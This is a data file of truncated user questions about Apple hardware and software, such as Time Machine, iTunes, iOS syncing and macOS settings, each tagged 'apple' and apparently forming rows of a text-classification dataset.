Spotlight. I can't ... ",['apple'] "Title: Dead pixel with but with inverted color in rMBP Body: I have a mac book pro retina since a few weeks (bought in april 2013). There is a pixel in the middle of the screen that has the opposite color of what it should have: If background is white, pixel ... ",['apple'] "Title: My mouse cursor starts blinking and I have to press a key in my keyboard to stop it Body: My mouse cursor starts blinking and I have to press a key in my keyboard to stop it. I know it's a software problem because I've had this issue before and solved it by reinstalling the OS. Today ... ",['apple'] "Title: Auto open 4 terminal sessions and SSH them to a given host Body: I'm doing Rails development on a MacBook via a VirtualBox setup that's somewhat similar to Vagrant. My inconvenience is that I like to have at least 3 terminal tabs connected to the VM via SSH (one ... ",['apple'] "Title: Move of time machine backup: unable to “restore” Body: I want to use a new hard drive for time machine. I try to restore the old backup into the new disk using disk utility. It fails with the following error : source volume is read-write and cannot be ... ",['apple'] "Title: Macbook Pro 13"" Mid 2010 bluetooth headset Body: I have a ""KINIVO BTH220"" wireless bluetooth headset. I can connect it without any problem with iPhone 4S. However, when I try to connect it with MacbookPro 13"" (Mid 2010), it won't show up in the ... ",['apple'] "Title: Lion server DNS problem with .private Body: I have just installed a lion server on my home network. I want to use it as a .private. Domain. I have implemented the VPN connection for external users via port fwd on my apple time machine router. ... ",['apple'] "Title: Trying to buy OSX Mountain Lion, keeps trying to update Body: I want to install OSX Mountain Lion on a hackintosh that I'm building, but I don't have a copy of ML. When I try to download it, it says that the update is free because I already have ML. How do I ... ",['apple'] "Title: How to debug USB storage issues on a MacBook? Body: I'm trying to diagnose the USB key of a friend of mine, who says it works in his Windows but not in his Android tablet (Samsung). When I plug a USB key in my MacBook nothing happens. The device does ... ",['apple'] "Title: Time Machine stuck on “Preparing Backup” Body: I have a MacBook Pro from 2009. It came with OS X 10.6 (Snow Leopard) but I upgraded to 10.8 (Mountain Lion). A few days ago, I tried to backup my files on an external hard drive, like I have ... ",['apple'] "Title: How do I remove black rectangles on the desktop screen in os x 10.8? Body: Shown to the left of the screen, on the middle. Moving a window over it does not remove it, however restarting does. But then they reappear after a while. ",['apple'] "Title: Safari Toolbar Icons Blank Body: Regularly, after some time using Safari, 3rd party icons in Safari toolbar become blank. Restarting Safari fixes the problem, but after some time it happens again. ",['apple'] "Title: What kind of “messages” does Activity Monitor track with the “Messages Sent” and “Messages Received” columns? Body: In Activity Monitor on OS X, it is possible to add additional columns to the process list view. Two columns available in that list are ""Messages Sent"" and ""Messages Received"", which show up as ""Sent ... ",['apple'] "Title: Reformatting MacBookPro6,2 Body: I have a macbook pro 6,2 and don't have the recovery discs as I am traveling abroad and left my discs at home. Is there any way to reformat my hard drive and get it to factory (or near factory) ... ",['apple'] "Title: Is there a way to mass-delete SMS messages that match a pattern? Body: At work, I have a job that sends me a SMS when a critical job fails. Because of a bug, it ended up sending several hundred SMS messages over the course of a night that I wish to delete. Is there an ... ",['apple'] "Title: What is this menubar icon? Body: Recently a piece of software started showing up in my menubar. I don't remember installing it, I have no idea what it is. The icon is three chevrons and the menu contains three items named: ""Software ... ",['apple'] "Title: Disable line wrapping for output in the Terminal Body: I often read outputs in the terminal that get wrapped as they are too long. Since there is no way that I can modify the printed output, I need to let the Terminal allow for horizontal scrolling. Is ... ",['apple'] "Title: AppleScript Works in Script Editor, but not when run from FileMaker Body: When I run this from Script Editor, it runs perfectly fine, albeit slow, but when run via FileMaker Pro 6, it does nothing at all. In fact, even when I enclose it in a try block, it doesn't even ... ",['apple'] "Title: Mac Osx 10.8.3 Shares Big problems Body: I'm tryng to share folders from an 10.8.3 imac to users in my LAN (using bot mac and windows) I'm having this problem: 1) Mac users can access the share using afp:// but when they create new ... ",['apple'] "Title: Can I find just the apps which I have purchased in the App Store? Body: I know I can go to the Purchased tab in the App Store on my iPad to see all the apps that I have downloaded, but I have been unable to find a way to see just the apps that I have bought. Is there a ... ",['apple'] "Title: how can I read EBooks with IPOD Touch 8 gb? Body: I have an old Ipod Touch 8 GB which is updated till 4.2.1 and I want to use it to read my ebooks. But the problem is I cannot use IBook as it needs version 5 update and it is not possible with my ... ",['apple'] "Title: How to keep all the data on my applications when I buy a new iPad Body: I am buying a new iPad because I only have a 16gb iPad and I want to keep the data on my apps ie. on sims I want to keep the houses and people on it but is it possible to do that when you buy a new ... ",['apple'] "Title: How can I upgrade my jailbroken iPad? Body: I got an iPad 2. With 4.3.3 version, that I somehow managed to jailbreak last year. Im a jail breaking noob, and was wondering, how do I update my current jail broken version, to a later jail broken ... ",['apple'] "Title: How to get Mountain Lion to recognise modifier keys from external Windows keyboard Body: By default, Mountain Lion maps Windows-key to Command and ctrl to ctrol. I changed the modifier keys under the ""Modifier Keys"" menu in System Preferences, but it had no impact. I can tell this because ... ",['apple'] "Title: Iphone Notes synched on different accounts in phone does not push to the mac Body: Problem Mac does not receive all notes from Phone. Apparently I changed the default to Gmail and now those notes do not appear on the mac. I tryed changing mac settings and accounts... Is there a way ... ",['apple'] "Title: MacBook Pro (mid-2012) Microphone Input Body: Here, it says how to use the audio jack as in input. On my MacBook Pro 13"" (mid 2012), It doesn't seem to have the option in settings. Is it not possible with these computers? ",['apple'] "Title: How to have certain *windows* start in different spaces during start up? Body: Is there a way to have certain windows of an app open in specific spaces? Whenever I start up my computer, all my log in items get mashed into one space. I'm using OSX 10.7.5 Lion Edit: I would ... ",['apple'] "Title: ClamXav Sentry and clamd Problems Body: A couple of days ago I started having problems with ClamXav Sentry (ClamXav version 2.3.6 with engine 0.97.8). Every time I closed my laptop--MacBook Pro running OS X 10.8.3--Sentry would crash saying ... ",['apple'] "Title: not using Apple Mail, but using Calendar Body: I use gmail through the web interface, but have Apple Calendar synchronising with google's calendar. I don't want to use Apple Mail for anything at all. Every time the calendar synchronises with ... ",['apple'] "Title: Astrid for iPhone default reminder time Body: If you create a reminder in Astrid for iPhone and specify a due date but no due time, at what time will you be notified? Is there a way to customize this? ",['apple'] "Title: Mac crash after installing XCode Body: I tried installing XCode on my MacBook Pro, but for some reason, it suddenly crashed. After a reboot, I saw a message my computer had to restart because of some system failure. After this message, I ... ",['apple'] "Title: Prevent itunes from synching apps Body: I am looking for a way to prevent iTunes from synching app to the iphone. Current situation: I only back the iphone up with iTunes - icloud backup is not feasible to me - and connect it to iTunes a ... ",['apple'] "Title: Is there a virtual filesystem plugin for iTunes Playlists? Body: There are a number of apps that for various reasons do not support the ability to drag songs out of iTunes and drop it onto the app. This becomes taxing whenever I'm working with a compilation of ... ",['apple'] "Title: How Do I associate all files with Emacs? [duplicate] Body: I'd like to be able to open any file with emacs as a choice when I right click it, regardless of environment. ",['apple'] "Title: Is there an app that will notify me (in notifications center) if a process is using up a high percentage of CPU for a specified amount of time? Body: The other day, I was sitting in a coffee shop working, when I looked down to find that 25% of my battery was left. I looked at my Activity Monitor and saw that the time machine process was going at ... ",['apple'] "Title: Minium character size to display on the screen Body: I've a Mac 27"" and I'm becoming a freaking blind. Is it possible to specify some king of minium character to display on the screen? I've adjusted the finder and safari characters size/zoom level. ... ",['apple'] "Title: Remote Buddy & Preview - Change fade Body: I wrote a LaTeX presentation with beamer class that produces a nice PDF file as final output. I would like to switch between slides with my (old) Apple Remote, so I installed Remote Buddy (Remote ... ",['apple'] "Title: iphone 4S only works with old screen Body: I replaced a broken 4S screen with a new working one and the phone turns on but the screen doesn't work. After 4 hours of swapping around and trying screens, I put another not so cracked one on and ... ",['apple'] "Title: Not receiving email from a specific person Body: I have 3 apple devices: iPhone, iPad, Macbook pro, all receiving emails from the same provider. When one specific friend of mine sends me an email, I receive it on the iPhone and iPad, but not on the ... ",['apple'] "Title: Mac Mini doesn't stop Monitor Body: I've a new Mac Mini. I setted right bottom active corner to stop monitor and it works. But if Mac is on from some times (more than a day) this option doesn't work! Going to setted corner, screen ... ",['apple'] "Title: Change Keyboard Layout on Lock Screen Body: I've been struggling with the following problem: I am writing something in German during the day, therefore I change my keyboard layout to their QWERTZ style. When I lock the screen or close my MBP ... ",['apple'] "Title: Do non-Thunderbolt monitors work with a DVI-D adapter on a Thunderbolt MacBook Pro? Body: I have a MacBook Pro (15-inch, Early 2011). I want to hook two Dell monitors to it. They have VGA and DVI ports each. I will be using the current DVI port on the MacBook Pro. Will the Thunderbolt ... ",['apple'] "Title: Internet Sharing on Mountain Lion not working Body: I am trying to share an ethernet connection on a MacBook over Wi-Fi. I enabled Internet Sharing in the Sharing prefpane, When I try to connect using an iPad, the iPad can see the network but cannot ... ",['apple'] "Title: Where can one find the meid of an iOS Device? (in particular an iPad) Body: I'm getting 4G on my iPad 2 and the Sales Rep for Verizon said that I needed to text him the meid, where in iOS might I find this meid? ",['apple'] "Title: Can I download older versions of apps? Body: I've got a 1st Generation iPod with iOS 3.1, and I'm frustrated because I most apps don't run on such an old iOS, but I can't put a new iOS on. Is there eny way to get old versions of all those apps? ",['apple'] "Title: Running GUI application from Console Login Body: What I'm trying to do is after logging into the >console on my mac mini run safari. Its on 10.6.8 if that matters, I've tried a 10.8.3 machine. Once logged in, I login as root. From here is it ... ",['apple'] "Title: Is it possible to a full system Copy and run it in Parallels? Body: i have Mac Server and i want to have a full copy of the System. So i can play around and test new Software and Upgrades before i apply it to the real System. I am using Parallels and want to create a ... ",['apple'] "Title: How does an Apple device gets recognized as external storage on PC? Body: When I connect any apple device to my PC - it gets recognized as an external storage and I can access all the files (Update:Not all the files - but just pictures) on the device. How is this ... ",['apple'] "Title: smart mailbox email sent only to me Body: I am kind of surprised that I couldn't find anything by general search. Like many of us I receive ton of emails everyday. I have several smart mailboxes on my mac to get to the ones I need to fast. ... ",['apple'] "Title: A way to disable screen resolution change upon login? Body: I believe Mac OS X stores each user's screen resolution preferences and upon logging in OS X will set that user's resolution. I actually want to disable this entire feature because I have a launchctl ... ",['apple'] "Title: Can I use both Mac mini display ports at the same time and which adapters do I need? Body: If I have two DVI monitors that are exactly alike, could I connect them both to the same Mac mini and extend the desktop using both displays? Can I use both the HDMI and Thunderbolt ports at the same ... ",['apple'] "Title: Sync iPhone Without Charging Body: Title says it all. Is there a way to sync an iPhone with iTunes (tethered) without charging it concurrently? An answer below indicated that this was possible by either modifying or purchasing a ... ",['apple'] "Title: How to create own filename extension? Body: I want to have an extension, named .content, to store all files in it that are linked to the filename. The extension "".content"" should be recognized by the OS as a file extension rather than a regular ... ",['apple'] "Title: How can I get my albums to sort by track numbers in iTunes 11's expanded view? Body: I've been trying to figure out why my track sort order is wrong in iTunes 11. I have track metadata, and sorting by Album in the songs view works fine, but in the expanded view my tracks appear in ... ",['apple'] "Title: Scanning troubles Mac & Officejet 6500 Body: When I got the Macbook, the HP Officejet 6500 worked perfectly - no software installation required. Then, it started only scanning in jpeg - no PDF. If I selected PDF, it yielded a blank page. ... ",['apple'] "Title: How to customize Finder's Share menu? Body: Is there a way to add custom services to Finder's Share menu? I have created an automator service to copy selected files to my Dropbox directory (similar to this). I enabled this service in the ... ",['apple'] "Title: look up a word in Dictionary.app in Terminal Body: Is there a bash or applescript to look up a word in /Applications/Dictionary.app from a Terminal window ? open -a /Applications/Dictionary.app/ --args word ignores --args, says ""type a word to look ... ",['apple'] "Title: How can I empty the trash with “rm -rf ~/.Trash/*” from Finder? Body: Sometimes emptying the trash in Finder takes significantly longer than just running rm -rf ~/.Trash. Is there some way to remap the ""right click on trash in dock + click to empty trash"" button to a ... ",['apple'] "Title: HD failure - recovery possible if system can't see drive? Body: I've got a 2.5"" SATA HD in an enclosure, plugged into a Mac Pro (trying to see if I can use Data Rescue II to recover anything). Unfortunately, my system is not seeing the disk, either in Disk ... ",['apple'] "Title: Is there a way to recover a disk when File Vault is used? Body: I'm trying to restore a crashed hard drive. Using Softtote Data Recovery for Mac, I have recovered 8000+ files. I can't use any of them. Brainstorming with the user, he forgot that he has File Vault ... ",['apple'] "Title: Fixing Netbeans 7.3 freezes (on startup) on OSX Mountain Lion Macbook Air Body: I encounter the following issues with my Netbeans 7.3 installation on my OSX Mountain Lion Macbook Air. When launching the app, it bounces in the Dock for about 2 minutes before it simply stops. ... ",['apple'] "Title: How to see iTunes Store browsing cache Body: Is it possible to see/save any browsing content (e.g. images) from the iTunes Store app on Mac? And if yes, how can I save any content from it? ",['apple'] "Title: My iphone is empty after update how can i use itunes to bring it back to life [duplicate] Body: I onced asked a question similar to this here. This is the question: I updated my iphone 4 ios today. But now when i on the iphone it shows an empty screen with IPHONE written in bold, when i unlock ... ",['apple'] "Title: finder is slow, disk access is slow, 1.5 million files on disk Body: Folders take seconds to respond; Activity monitor shows nothing; there are 1.5 million files on the computer. Is the Finder overloaded? ",['apple'] "Title: Parallels VM process has high CPU on Macbook Pro Retina when running Chrome in Parallels 8 Body: When I look in Activity Monitor in Mac OS X 10.8.3 on a Macbook Pro 15"" Retina while running Chrome (Build 26.0.1410.64) in a Windows 8 Pro VM hosted in Parallels 8 (Build 8.0.18483) I see that the ... ",['apple'] "Title: Prefer cable over wifi in Mac on Mac for a specific IP Body: Is it possible to set a MacBook Pro to use ethernet cable over the wifi when it tries to access a certain IP in .bashrc file or any other configuration file? For example, you can set it not to use a ... ",['apple'] "Title: Shuffling Voice Memos Body: I've created a playlist of a selection of Voice Memos. I want to use it as a kind of audio flash card system. However, when I press ""Shuffle"" on the iPhone playlist, it always plays the same voice ... ",['apple'] "Title: No syncing between iCloud and iPad Body: I've been using a Mac account for years. Just checked on my iPad that only posts made on iCloud the last 30 days are on Calendar. None of the older ones appear. I've already turn off and on on ... ",['apple'] "Title: Can this be a symptome of memory problems? Body: In the past days, my Mac started to apparently freeze without any reason. I normally use Google Chrome, and all in a sudden it gets unresponsive. When I restart the Mac, it takes longer before the ... ",['apple'] "Title: iPad fails to sync : unknown error 1140 Body: Recently whenever I try to sync my iPad to my iMac I get the following error message: 27/04/2013 14:34:01.376 AppleMobileDeviceHelper[3815]: ... ",['apple'] "Title: Mac Mini 2012 - dual band bluetooth? Body: does anyone know what the radio is in the mac mini late 2012? The only detail I can find is that it is 4.0, but I can't find out if it is dual-band capable. ",['apple'] "Title: Intriguing connection issue on OS X Body: I've been recently having this issue with my internet connection on my MacBook Pro Early 2011 running OS X 10.8.3: from time to time the connection ""freezes"" for about 5 seconds and then comes back. ... ",['apple'] "Title: Change the Apple login account for iPhone developer programme Body: Recently I have registered for the iPhone developer program with an Email ID, but now I want to changer my login ID to some other email ID. Is it possible to change it now? ",['apple'] "Title: How should I use VPN on a Mac to prevent compromise before the VPN starts? Body: As most experienced users will have heard, using a Mac in a public untrusted Wi-Fi can be potentially harmful. A tool like Firesheep1 has made it very easy to intercept unencrypted communication. ... ",['apple'] "Title: How to keep window from moving? Body: Is there a way to lock a window in place? It's quite frustrating when I get a window in the exact location and I accidentally move it (by a Witch shortcut or by mouse). I'd like to know how to ... ",['apple'] "Title: Is it okay for a brand new 13"" MacBook Pro Retina to not sit flat? Body: So I've got this new 13"" MacBook Pro Retina... a beautiful machine by all accounts! Here's the thing though: It doesn't sit flat. As in, if you put it down on a flat surface, all four of the rubber ... ",['apple'] "Title: How to share a very large voice memo to Dropbox from iPod? Body: I am a college student and have recorded an interview for a speech assignment on my iPod. It is too large to email (about 24min). I have Dropbox on my iPod but when I try to ""share"" the voice memo, ... ",['apple'] "Title: How can I set 4 x 6 as the default printer setting? Body: I'm working on a photo booth web app that's going to run at a kiosk, and I'm trying to figure out how users can make a 4 x 6 printout of their photo. When the user requests a printout, PHP resizes ... ",['apple'] "Title: Finder window, Save As prompt missing sidebar entries Body: Check out this screenshot: Why is everything missing in the sidebar? Normally I would see Desktop, Downloads, a custom list of favorite folders, Applications, Library, etc. Suddenly this started ... ",['apple'] "Title: Macbook pro boot with kernel panic - can't perform kext scan Body: I was trying to swap command and option key for my external keyboard following the instruction in http://hints.macworld.com/article.php?story=20110529094802391. When I'm done with change and I ... ",['apple'] "Title: scripting keychain - disk image - timecapsule Body: If I click though the gui configuration of time capsule in 10.8 and choose encrypt back ups, 3 things are installed in my keychain. I have scripted the creation of these 3 keys but am having ... ",['apple'] "Title: Applications (Google Drive, Dropbox, Eclipse, etc) only start when I launch them from within their package Body: I am running Mountain Lion and I have an issue when trying to start certain applications: Dropbox, Google Drive and Eclipse. If I click their icon inside the Applications Folder or I try to launch ... ",['apple'] "Title: Hiding URL Bar on iPad? Body: I am working on a small web app that runs on controlled iPad (i.e., both the hardware and content is in our office and never leaves). I would like to hide the URL bar in this app. I've placed the ... ",['apple'] "Title: Allow users to update certain applications Body: I am the admin for my company's Mac users. Apps that I initially installed, such as Adobe apps, MS Office, Firefox, etc., all require an admin password to install updates. In order to avoid the snide ... ",['apple'] "Title: Delete Application from iPhone 5.1 Simulator Body: Strange Moment !!! I was testing my iPhone App on iPhone 5.1 Simulator. App ran very fine. But got strange situation at the time of removing App from Simulator. I followed these steps to remove the ... ",['apple'] "Title: how would I set the default web browser for the root user Body: How do I change the default browser for root in OS X 10.8.3 Do I need to enable the root user first? ",['apple'] "Title: mount an unmountable drive Body: I have a MacBook Pro with a root mounting sector with problems. It becomes like this due to password changing in safe mode. Now of course it doesn't turn up any more. I tried repair with disk utility ... ",['apple'] "Title: MacBook unusable due to kernel_task Body: I've disabled hibernation, and removed the sleep image file. I shutdown my Macbook Pro (15"" retina), unticked the box to open windows on restart, and started my MacBook again. As soon as I'd logged on ... ",['apple'] "Title: Connect to VPN before login Body: Is there a way to connect to a VPN before/during the login window appears? I have bound my computer to an Active Directory server, but the AD server can only be found after the connection to the VPN ... ",['apple'] "Title: Can't access internet Body: Suddenly, a couple of days ago, I have started to have major problems accessing internet through my home network, with my MacBook Pro Mid 2012 (non-retina) running Mountain Lion. I connect to the ... ",['apple'] "Title: Managing to change my Apple ID to another country [duplicate] Body: I need to change the country of Apple ID from UK to US, but I previously purchased some apps with my UK-based account, do I need to re-purchase them after migration? Will I still be updating my apps ... ",['apple'] "Title: Is it possible to track of battery consumption by all installed app on ios device? Body: I would like to track the battery usage of all insatalled and system applications in iOS devices. I hope it would look like this: Is it possible to do this, if it is possible how to estimate the ... ",['apple'] "Title: Will an AT&T iPad purchased from Best Buy US work in india? Body: I am planning to purchase iPad Mini wifi + cellular from Best Buy. The Best Buy representatives were not sure it will work in India with different service provider or not. They are selling iPad with ... ",['apple'] "Title: How to duplicate the content of a MiniDV to a DVD? Body: I'd like to save the content of some miniDV tapes to DVDs. I can use iMovie to do it, but iMovie creates a lot of video files and sort them by date. It will be a titan job to reorder them by hand and ... ",['apple'] "Title: update to 10.8.3 from 10.7.5 broke many (all?) existing aliases Body: I depend a lot on aliases to files and folders. Just after upgrading, most of those I've checked, aliases that worked before the upgrade, fail now. I get the usual error message, ""...the original ... ",['apple'] "Title: Missing icons in apps menu Body: Today I found out that something strange is happening to my Mac OS apps. For example - Disk Utility. The same is with my Finder. What kind of sorcery is this and what should I do now? ",['apple'] "Title: Editing $PATH variable for apache on mountain lion Body: I've just installed ImageMagick using macports and am trying to use it from a php site running on Apache, but nothing I do works to add /opt/local/bin:/opt/local/sbin to my path. So far I've tried ... ",['apple'] "Title: Is there a way to set a different Safari download folder per website? Body: Is there any way in Safari (6 on Mountain Lion) to have it remember a different download folder per website? So if I visit my bank and download a statement I can pick my /finance/ folder to download ... ",['apple'] "Title: iPhone 5 contact search malfunction Body: My contacts are not being searched from what I type in the box, it starts from A. It is only when I nearly fully typed the name that it appears at the bottom of the list it found Please help! ",['apple'] "Title: You are unable to log in to the user account “user_name” at this time Body: I have a Mountain Lion server and two Mountain Lion clients. I have two network users. From one of the clients I can log on using either of these two accounts, from the other I cannot log using ... ",['apple'] "Title: Could my non-booting laptop be the result from spilling juice 1.5 years ago? Body: A year and a half ago I spilt a little juice onto my mac laptop, although after cleaning up the mess, the laptop seemed to be working fine. Moreover, I took the laptop to the ICT department, they did ... ",['apple'] "Title: Macbook Pro Mid-2012, ethernet heating Body: I am a Mac newbie and I have a new 13"" Macbook Pro. I used the Ethernet connection for wired Internet in my dorm room, but after using it for half an hour or so, the Ethernet port and the area nearby ... ",['apple'] "Title: Mac App Store Problem Body: Memory Clean update & Pocket new purchase both stuck in installing bar, though in MAS purchase page appears "" installed"". Both appear in launchpad as if in progress but with full bar. ",['apple'] "Title: Audio input/output splitter for MacBooks without changeable input/output jack? Body: From what I can understand, in the latest iterations of the MacBooks, what former was an input/output 3.5mm jack, now only can be used for input. However, it's possible to use certain headsets (for ... ",['apple'] "Title: IPhone 5 not charging when idling Body: my phone behavior is very strange. If I plug the charger in and do not use the phone, it not charging. It only can be charged if I using it. I've reset but it's still the same. Do you have any idea ... ",['apple'] "Title: Were the 2009 MBP's affected by the NVIDIA problem? Body: I am considering purchasing a mid 2009 Macbook Pro - 13"", 2.53 GHz. However, someone advised me to beware of the NVIDIA graphics card problem they had in 'that time frame'. As I understand, the ... ",['apple'] "Title: 27"" 2009 iMac screen occasionally freezes (mouse still moves) after upgrading RAM and SSD Body: I have a 2009 iMac that has been working fine (but slowly) until now. I decided to upgrade the hard drive to a 500 GB Intel SSD (MZ-7TD500BW) and put in 16 GB of RAM (PNY Optima PC3-8500). I've ... ",['apple'] "Title: No Sound when I enable AirPlay from XBMC Body: I have an iPad, a mac mini, and a HTPC with XBMC. When I enable AirPlay from XBMC then play something from my mac mini, my sound goes to XBMC. I didn't configure anything on my mac mini. Why is it ... ",['apple'] "Title: Use a mac Mini server to host Aperture Library Body: I got two iMac and one Mac Mini server, last year I moved my Library to the Mac Mini, and change the path on Aperture (3.4.4) to use that library instead of using my local one. It works like a ... ",['apple'] "Title: Zag keyboard, iPad character repeat rate adjujstment Body: All of a sudden my Zag keyboard repeat rate has increased to the point where it makes typing almost impossible. Where are the adjustments to fix this problem? Ray ",['apple'] "Title: Math via Skype on a Mac? Body: I find myself needing to explain math via Skype (to nephews, nieces in high-school or college, etc.) with increasing frequency, enough so that the clumsy approach of holding a pad of paper up to the ... ",['apple'] "Title: Creating preview and icon for screenshots [closed] Body: I would like to make this code to automatically create preview and icon so it looks nice in Finder and so i don't have to wait my graphics app to create these things when i first time open in browse ... ",['apple'] "Title: Is it safe to reformat drive during Recovery Mode install? Body: I've inherited an almost brand new 13"" Macbook Pro Retina. I'd like wipe the hard drive clean and start with a fresh install of Mountain Lion. I've done this a million times before... but never while ... ",['apple'] "Title: How to install modules from CPAN without sudo? Body: Is there a way to install modules from CPAN without resorting to sudo? (And without perlbrew, please.) ",['apple'] "Title: How can I check if an iphone is sim unlocked already? [duplicate] Body: For the iPhone 4S and 5, is it possible to easily check if they are sim unlocked ? If so how ? I've already seen this question but sounds a bit more complicated than I hoped. What's the simplest ... ",['apple'] "Title: Ozone oxyd usb headphones bad sound Body: Anyone know what Must I do for remove the sound glitches and noise, when I change I star the applications like flash, vlc , itunes with this headphones? ",['apple'] "Title: Mail.app on Mac corrupting PDFs Body: A co-worker is having an issue where PDFs sent as attachments are being corrupted. If opened through webmail, the attachment is fine. Any ideas here? I've rebuilt the Mailbox (using Mail.app's ... ",['apple'] "Title: Migration over wifi requires specific network configuration? Body: I bought a new Macbook running Lion, trying to migrate from an old Macbook running Snow Leopard. At my temporary housing, the two machines were able to find each other over migration assistant, but ... ",['apple'] "Title: Select statements in Apple Numbers '09 Body: I've got a table as follows | Name | Year | Price | |____________|_______|_______| | Foo | 2013 | $10 | | Bar | 2009 | $3 | | Baz | 2010 | $100 | What I'd ... ",['apple'] "Title: Can I “restore” an iso image to my hdd to be bootable? Body: I removed my superdrive a while back but now I want to install a linux partition on my macbook. I installed rEFInd as my boot manager but now I need to boot into the arch linux iso. Normally I would ... ",['apple'] "Title: How can I change the iOS App Store Country on my iPhone 5? [duplicate] Body: When I try to download any app on my iPhone 5, I receive the following message: Account not in this store. Your account is not valid for use in the Swiss store. You must switch to the the US ... ",['apple'] "Title: Can I make a custom keyboard shortcut available to all users? Body: I've created a keyboard shortcut but it only works for my current user, we have 3 users on our Mac (OS X 10.8.3) but if I set up a short cut, I have to then set the same one up for our other 2 users. ... ",['apple'] "Title: restore Mac OS Mountain Lion to factory settings without discs or time machine backups Body: I installed XCode 3 on Mac OS Mountain Lion 10.8 and now I am getting the Apple BSODs. Can I do a system restore without having the discs as I seem to have nothing to use, also I have no Time Machine ... ",['apple'] "Title: What file permissions do I need to change after 10.8.3 restore? Body: My 08 mb, OSX Mt Lion, crashed so I bought new 2012 MBPr. Luckily, I backed everything up. Migrated everything from 08mb over to new MBPr. I noticed that when I deleted files, it skipped the trash ... ",['apple'] "Title: ps on remote Mac doesn't work Body: I have a Mac Mini (latest model I believe) running OS X 10.7 at a remote location that I can only access via SSH. The problem is that the ps command* does not work. When I run it in any form, from ... ",['apple'] "Title: Is there a way to omit certain directories from where Mac OSX finds applications for its Applescript dictionaries et al? Body: Mac OSX maintains a list of applications for Applescript dictionaries, for the open-with list in finder etc. This list gets collected from local directories (e.g. /Applications) but it finds as well ... ",['apple'] "Title: What size should a background image be for Apple Configurator to place it on iOS devices? Body: I'm looking to set up some custom backgrounds for iOS and using Apple Configurator to drag an image into the lock screen tab of the preferences and the tool crops the image for me. So, considering ... ",['apple'] "Title: Restoring iPhone Body: I need to restore my iPhone (I use iTunes on Windows 7). I backed-up the backup in MobileSync/Backup to an external drive (thankfully). Now I have a long, nonsensically named folder containing the ... ",['apple'] "Title: Apple ID working for iPhone but not for iPad Body: I have an Apple ID and password that has been working fine with my iPhone. I have been able to buy music and download apps with no problems. I bought an iPad and configured it with the same email. I ... ",['apple'] "Title: How to mount Linux_RAID on osx Body: I have a NAS that broke and it used linu_RAID as its format type. How do I mount this in OSX? Similar to this one... ... ",['apple'] "Title: Why does Time Machine hang/freeze on “Backing up…”? Body: Lately, whenever I try to back up Time Machine to one particular external drive, it gets past the ""Preparing..."" stage (most troubleshooting documents talk about fixing problems with hangs in this ... ",['apple'] "Title: How do I know which version of OS X I have? Body: Eg Lion, Leopard etc. If I click the Apple symbol, then ""About This Mac"" I only get the version number… ",['apple'] "Title: How to enable Maven autocomplete on Mac OS X command-line? Body: When using Maven (mvn) on OS X Terminal, how can I get tab-completion for Maven goals, plugin names, etc? Things like this: mvn pa [TAB] -> mvn package mvn je [TAB][TAB] -> mvn jetty:run ",['apple'] "Title: Reduce image file size to certain size Body: I have some tiff files of (scanned docs) which are too large than required. I tried to export with Preview while applying filter ""Reduce File Size"". The new file came out to be quite small 36KB ... ",['apple'] "Title: Rubato part in Garageband? Body: I'm playing around with Garageband, and in the track I'm creating, I want to add a rubato part; that is, a part where there is no fixed rhythm. After this part, I want Garageband to resume counting ... ",['apple'] "Title: OSX Server File Sharing - Allow users to change password? Body: We are running OSX Server 10.7.5 in our small office. On the machine, in the Server application, I have each employee setup as a user, with file sharing turned on. This allows each employee to login ... ",['apple'] "Title: Spotlight not indexing attachments of exchange Mail Body: I recently got a MBP and really love how quick spotlight is. I'm reading my exchange email via the Apple Mail app. The messages are indexed by spotlight but the contents of the attachments are not. ... ",['apple'] "Title: Is there an iPhone app to control the volume depending on travelling speed or surrounding sounds? Body: I am searching for an iPhone app that controls the music playback volume depending on travelling speed or surrounding sounds. I want this for optimized listening while travelling in my car. Anybody ... ",['apple'] "Title: Is there a free analogue clock that displays in the dock? Body: I would like to have an analogue clock displaying right in my OS X dock. The default clock in the menu bar is too small for me, and it is obviously impossible to drag it into the dock. If possible, ... ",['apple'] "Title: GarageBand - volume maxing out Body: I have a multi-track mix in GarageBand. Each individual track has been recorded without clipping, and at no point during the song do any individual track volume levels go into the 'red area'. ... ",['apple'] "Title: Photoshop elements 11 Body: I am comparing prices of Photoshop Elements 11 for our new iMac. Some of the ads say 4 gb space needed for download. Others are less money but only need 1.5 gb. Are there different versions of ... ",['apple'] "Title: Symlink User Folders - Can I keep original Sidebar Icons? [duplicate] Body: I have my user folders (Music, Movies and Pictures) stored on an external drive, so I used terminal to delete the existing user folders on the boot drive then created symlinks to these folders and ... ",['apple'] "Title: How can I get iMessage to verify my phone number? Body: iMessage won't verify my phone number. When I try to select my number for messages to be sent, it's greyed out. So I receive my iMessages over email which I don't want to do. I've tried: turning ... ",['apple'] "Title: Mountain Lion email share option opens a secondary Mail application Body: I am having a weird issue when I use the share functionality baked into Mountain Lion. Whenever I have a file highlighted in finder and choose the email option to share a file with someone, it decides ... ",['apple'] "Title: Applescript to run when iPhone connects/disconnects Body: I'm trying to figure out how to run an applescript when I connect and disconnect my iPhone with the USB cable. So far, I think I can run an applescript when it connects by using Image Capture ... ",['apple'] "Title: Sharing between different iTunes accounts Body: My wife can stream the music on her iPad2 to our home theatre via Apple TV. We have one iTunes acct for our purchases, etc..When she goes to visit family in Ga. Is there a way she can stream the same ... ",['apple'] "Title: Speech Commands with Eclipse java for speakable Body: I'm running Mac OS X 10.7.5 on my MacBook Pro and love the Voice Commands / Speakable Items feature. I also have a lot of custom commands that I use by writing applescripts and putting them in either ... ",['apple'] "Title: What iOS setting->general->usage indicate Body: In Below image iOS show some figure in front of app name. I am not sure what this figure. Do this indicate network use or disk space use by my app. The problem is my app is not saving any data on ... ",['apple'] "Title: How to disable the docked Finder monitor pop-up on OS X? Body: Attached is the screen shot of annoying screen monitor round cornered box, not sure what thats called. I dont know how it appeared!!! I wanna disable it. The Command+option+escape window doesn't show ... ",['apple'] "Title: Full screen enabled ipad to windows streaming VNC Body: I'm streaming my windows desktop with Splashtop Streamer to my iPad. However it doesn't support full screen windows apps. Are there any apps which does support full screen windows apps? ",['apple'] "Title: how to execute mkdir in /home/ directory Body: I want to create a directory 'administrator' in my /home/ directory but it won't allow me as it alway returns the error Operation not supported. Any ideas? Roberts-MacBook-Pro:home robert$ pwd /home ... ",['apple'] "Title: Mail - Deleting/Hiding Exchange mailbox's (e.g. RSS Feeds) Body: We're running Exchange 2010 and I have access the server if I can make changes there. Basically is there a way to hide or delete the RSS Feeds folder that shows up on the Mac Mail app? When I try to ... ",['apple'] "Title: Change lockscreen date language iOS 6 Body: When I first configured my new 